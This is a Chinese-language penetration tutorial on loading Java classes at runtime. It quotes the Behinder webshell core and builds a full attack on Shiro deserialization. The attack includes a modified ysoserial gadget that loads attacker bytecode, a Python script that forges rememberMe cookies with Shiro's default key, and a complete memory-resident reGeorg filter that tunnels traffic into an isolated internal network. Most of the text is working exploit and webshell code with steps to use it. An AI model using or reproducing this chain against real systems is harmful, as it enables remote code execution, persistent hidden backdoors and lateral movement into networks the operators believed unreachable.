Java类动态加载
Java中类的加载方式分为显式和隐式,隐式加载是通过new等途径生成的对象时Jvm把相应的类加载到内存中,显示加载是通过 Class.forName(..) 等方式由程序员自己控制加载,而显式类加载方式也可以理解为类动态加载,我们也可以自定义类加载器去加载任意的类。
自定义ClassLoader
java.lang.ClassLoader是所有的类加载器的父类,其他子类加载器例如URLClassLoader 都是通过继承 java.lang.ClassLoader 然后重写父类方法从而实现了加载目录 class 文件或者远程资源文件
在网站管理工具"冰蝎"中用到了这种方法
冰蝎服务端核心代码:
class U extends ClassLoader{ U(ClassLoader c){ super(c); } public Class g(byte []b){ return super.defineClass(b,0,b.length); }}new U(this.getClass().getClassLoader()).g(classBytes).newInstance().equals(pageContext);
代码中创建了U类继承 ClassLoader ,然后自定义一个名为 g 的方法,接收字节数组类型的参数并调用父类的 defineClass 动态解析字节码返回 Class 对象,然后实例化该类并调用 equals 方法,传入 jsp 上下文中的 pageContext 对象。
其中 bytecode 就是由冰蝎客户端发送至服务端的字节码,改字节码所代表的类中重写了 equals 方法,从 pageContext 中提取 request ,response 等对象作参数的获取和执行结果的返回
反射调用defineClass
上文中新建了一个类来实现动态加载字节码的功能,但在某些利用场景使用有一定限制,所以也可以通过直接反射调用 ClassLoader 的 defineClass 方法动态加载字节码而不用新建其他 Java 类
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});defineClassMethod.setAccessible(true);Class cc = (Class) defineClassMethod.invoke(new ClassLoader(){}, classBytes, 0, classBytes.length);
在调用 defineClass 时,重新实例化了一个 ClassLoader ,new ClassLoader(){} ,这是因为在 Java 中类的唯一性由类加载器和类本身决定,如果沿用当前上下文中的类加载器实例,而 POC 中使用同一个类名多次攻击,可能出现类重复定义异常
Shiro反序列化上载reGeorg代理
举个实际应用的例子,针对一个完全不出网的 Spring Boot + Shiro 程序如何进行内网渗透,这种情况下不能写 jsp 马,而且不能出网自然不能作反弹 shell 等操作,要进行内网渗透我觉得最好的方式就是动态注册filter或者 servlet ,并将 reGeorg 的代码嵌入其中,但如果将 POC 都写在 header 中,肯定会超过中间件 header 长度限制,当然在某些版本也有办法修改这个长度限制,参考(基于全局储存的新思路 | Tomcat的一种通用回显方法研究),如果采用上文中从外部加载字节码的方法那么这个问题就迎刃而解。
改造ysoserial
为了在 ysoserial 中正常使用下文中提到的类,需要先在 pom.xml 中加入如下依赖
org.apache.tomcat.embed tomcat-embed-core 8.5.50org.springframeworkspring-web2.5
要让反序列化时运行指定的 Java 代码,需要借助 TemplatesImpl ,在 ysoserial 中新建一个类并继承 AbstractTranslet ,这里有不理解的可以参考(有关TemplatesImpl的反序列化漏洞链)
静态代码块中获取了 Spring Boot 上下文里的 request ,response 和 session ,然后获取 classData 参数并通过反射调用 defineClass 动态加载此类,实例化后调用其中的 equals 方法传入 request ,response 和 session 三个对象
package ysoserial;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class MyClassLoader extends AbstractTranslet { static{ try{ javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest(); java.lang.reflect.Field r=request.getClass().getDeclaredField("request"); r.setAccessible(true); org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse(); javax.servlet.http.HttpSession session = request.getSession(); String classData=request.getParameter("classData"); System.out.println(classData); byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true); Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length); cc.newInstance().equals(new Object[]{request,response,session}); }catch(Exception e){ e.printStackTrace(); } } public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException { } public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException { }}
然后在 ysoserial.payloads.util 包的 Gadgets 类中照着原有的 createTemplatesImpl 方法添加一个 createTemplatesImpl(Class c) ,参数即为我们要让服务端加载的类,如下直接将传入的 c 转换为字节码赋值给了 _bytecodes
public static T createTemplatesImpl(Class c) throws Exception { Class tplClass = null; if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { tplClass = (Class) Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"); }else{ tplClass = (Class) TemplatesImpl.class; } final T templates = tplClass.newInstance(); final byte[] classBytes = ClassFiles.classAsBytes(c); Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes }); Reflections.setFieldValue(templates, "_name", "Pwnr"); return templates;}
最后复制 CommonsBeanutils1.java 的代码增加一个 payload CommonsBeanutils1_ClassLoader.java,再把其中
final Object templates = Gadgets.createTemplatesImpl(command);
修改为
final Object templates = Gadgets.createTemplatesImpl(ysoserial.MyClassLoader.class);
打包
mvn clean package -DskipTests
借以下脚本生成 POC
#python2#pip install pycryptoimport sysimport base64import uuidfrom random import Randomimport subprocessfrom Crypto.Cipher import AESkey = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCIV = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, IV)payload=base64.b64decode(sys.argv[1])BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()payload=pad(payload)print(base64.b64encode(IV + encryptor.encrypt(payload)))
python2 shiro_cookie.py `java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1_ClassLoader anything |base64 |sed ':label;N;s/\n//;b label'`
改造reGeorg
对于 reGeorg 服务端的更改其实也就是 request 等对象的获取方式,为了方便注册 filter ,我直接让该类实现了 Filter 接口,在 doFilter 方法中完成 reGeorg 的主要逻辑,在 equals 方法中进行filter的动态注册
package reGeorg;import javax.servlet.*;import java.io.IOException;public class MemReGeorg implements javax.servlet.Filter{ private javax.servlet.http.HttpServletRequest request = null; private org.apache.catalina.connector.Response response = null; private javax.servlet.http.HttpSession session =null; @Override public void init(FilterConfig filterConfig) throws ServletException { } public void destroy() {} @Override public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain filterChain) throws IOException, ServletException { javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest)request1; javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse)response1; javax.servlet.http.HttpSession session = request.getSession(); String cmd = request.getHeader("X-CMD"); if (cmd != null) { response.setHeader("X-STATUS", "OK"); if (cmd.compareTo("CONNECT") == 0) { try { String target = request.getHeader("X-TARGET"); int port = Integer.parseInt(request.getHeader("X-PORT")); java.nio.channels.SocketChannel socketChannel = java.nio.channels.SocketChannel.open(); socketChannel.connect(new java.net.InetSocketAddress(target, port)); socketChannel.configureBlocking(false); session.setAttribute("socket", socketChannel); response.setHeader("X-STATUS", "OK"); } catch (java.net.UnknownHostException e) { response.setHeader("X-ERROR", e.getMessage()); response.setHeader("X-STATUS", "FAIL"); } catch (java.io.IOException e) { response.setHeader("X-ERROR", e.getMessage()); response.setHeader("X-STATUS", "FAIL"); } } else if (cmd.compareTo("DISCONNECT") == 0) { java.nio.channels.SocketChannel socketChannel = (java.nio.channels.SocketChannel)session.getAttribute("socket"); try{ socketChannel.socket().close(); } catch (Exception ex) { } session.invalidate(); } else if (cmd.compareTo("READ") == 0){ java.nio.channels.SocketChannel socketChannel = (java.nio.channels.SocketChannel)session.getAttribute("socket"); try { java.nio.ByteBuffer buf = java.nio.ByteBuffer.allocate(512); int bytesRead = socketChannel.read(buf); ServletOutputStream so = response.getOutputStream(); while (bytesRead > 0){ so.write(buf.array(),0,bytesRead); so.flush(); buf.clear(); bytesRead = socketChannel.read(buf); } response.setHeader("X-STATUS", "OK"); so.flush(); so.close(); } catch (Exception e) { response.setHeader("X-ERROR", e.getMessage()); response.setHeader("X-STATUS", "FAIL"); } } else if (cmd.compareTo("FORWARD") == 0){ java.nio.channels.SocketChannel socketChannel = (java.nio.channels.SocketChannel)session.getAttribute("socket"); try { int readlen = request.getContentLength(); byte[] buff = new byte[readlen]; request.getInputStream().read(buff, 0, readlen); java.nio.ByteBuffer buf = java.nio.ByteBuffer.allocate(readlen); buf.clear(); buf.put(buff); buf.flip(); while(buf.hasRemaining()) { socketChannel.write(buf); } response.setHeader("X-STATUS", "OK"); } catch (Exception e) { response.setHeader("X-ERROR", e.getMessage()); response.setHeader("X-STATUS", "FAIL"); socketChannel.socket().close(); } } } else { filterChain.doFilter(request, response); } } public boolean equals(Object obj) { Object[] context=(Object[]) obj; this.session = (javax.servlet.http.HttpSession ) context[2]; this.response = (org.apache.catalina.connector.Response) context[1]; this.request = (javax.servlet.http.HttpServletRequest) context[0]; try { dynamicAddFilter(new MemReGeorg(),"reGeorg","/*",request); } catch (IllegalAccessException e) { e.printStackTrace(); } return true; } public static void dynamicAddFilter(javax.servlet.Filter filter,String name,String url,javax.servlet.http.HttpServletRequest request) throws IllegalAccessException { javax.servlet.ServletContext servletContext=request.getServletContext(); if (servletContext.getFilterRegistration(name) == null) { java.lang.reflect.Field contextField = null; org.apache.catalina.core.ApplicationContext applicationContext =null; org.apache.catalina.core.StandardContext standardContext=null; java.lang.reflect.Field stateField=null; javax.servlet.FilterRegistration.Dynamic filterRegistration =null; try { contextField=servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext); contextField=applicationContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext); stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP); filterRegistration = servletContext.addFilter(name, filter); filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{url}); java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart"); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext, null); stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED); }catch (Exception e){ ; }finally { stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED); } } }}
编译后使用如下命令得到其字节码的 base64
cat MemReGeorg.class|base64 |sed ':label;N;s/\n//;b label'
测试
在 Cookie 处填入 rememberMe=[ysoserial生成的POC],POST 包体填入 classData=[MemReGeorg类字节码的base64] ,注意 POST 中参数需要 URL 编码,然后发包
然后带上 X-CMD:l3yxheader 头再请求页面,返回 X-STATUS: OK 说明 reGeorg 已经正常工作
reGeorg 客户端也需要修改一下,原版会先 GET 请求一下网页判断是否是 reGeorg 的 jsp 页面,由于这里是添加了一个 filter ,正常访问网页是不会有变化的,只有带上相关头才会进入 reGeorg 代码,所以需要将客户端中相关的验证去除
在 askGeorg 函数第一行增加 return True 即可
连接 reGeorg
参考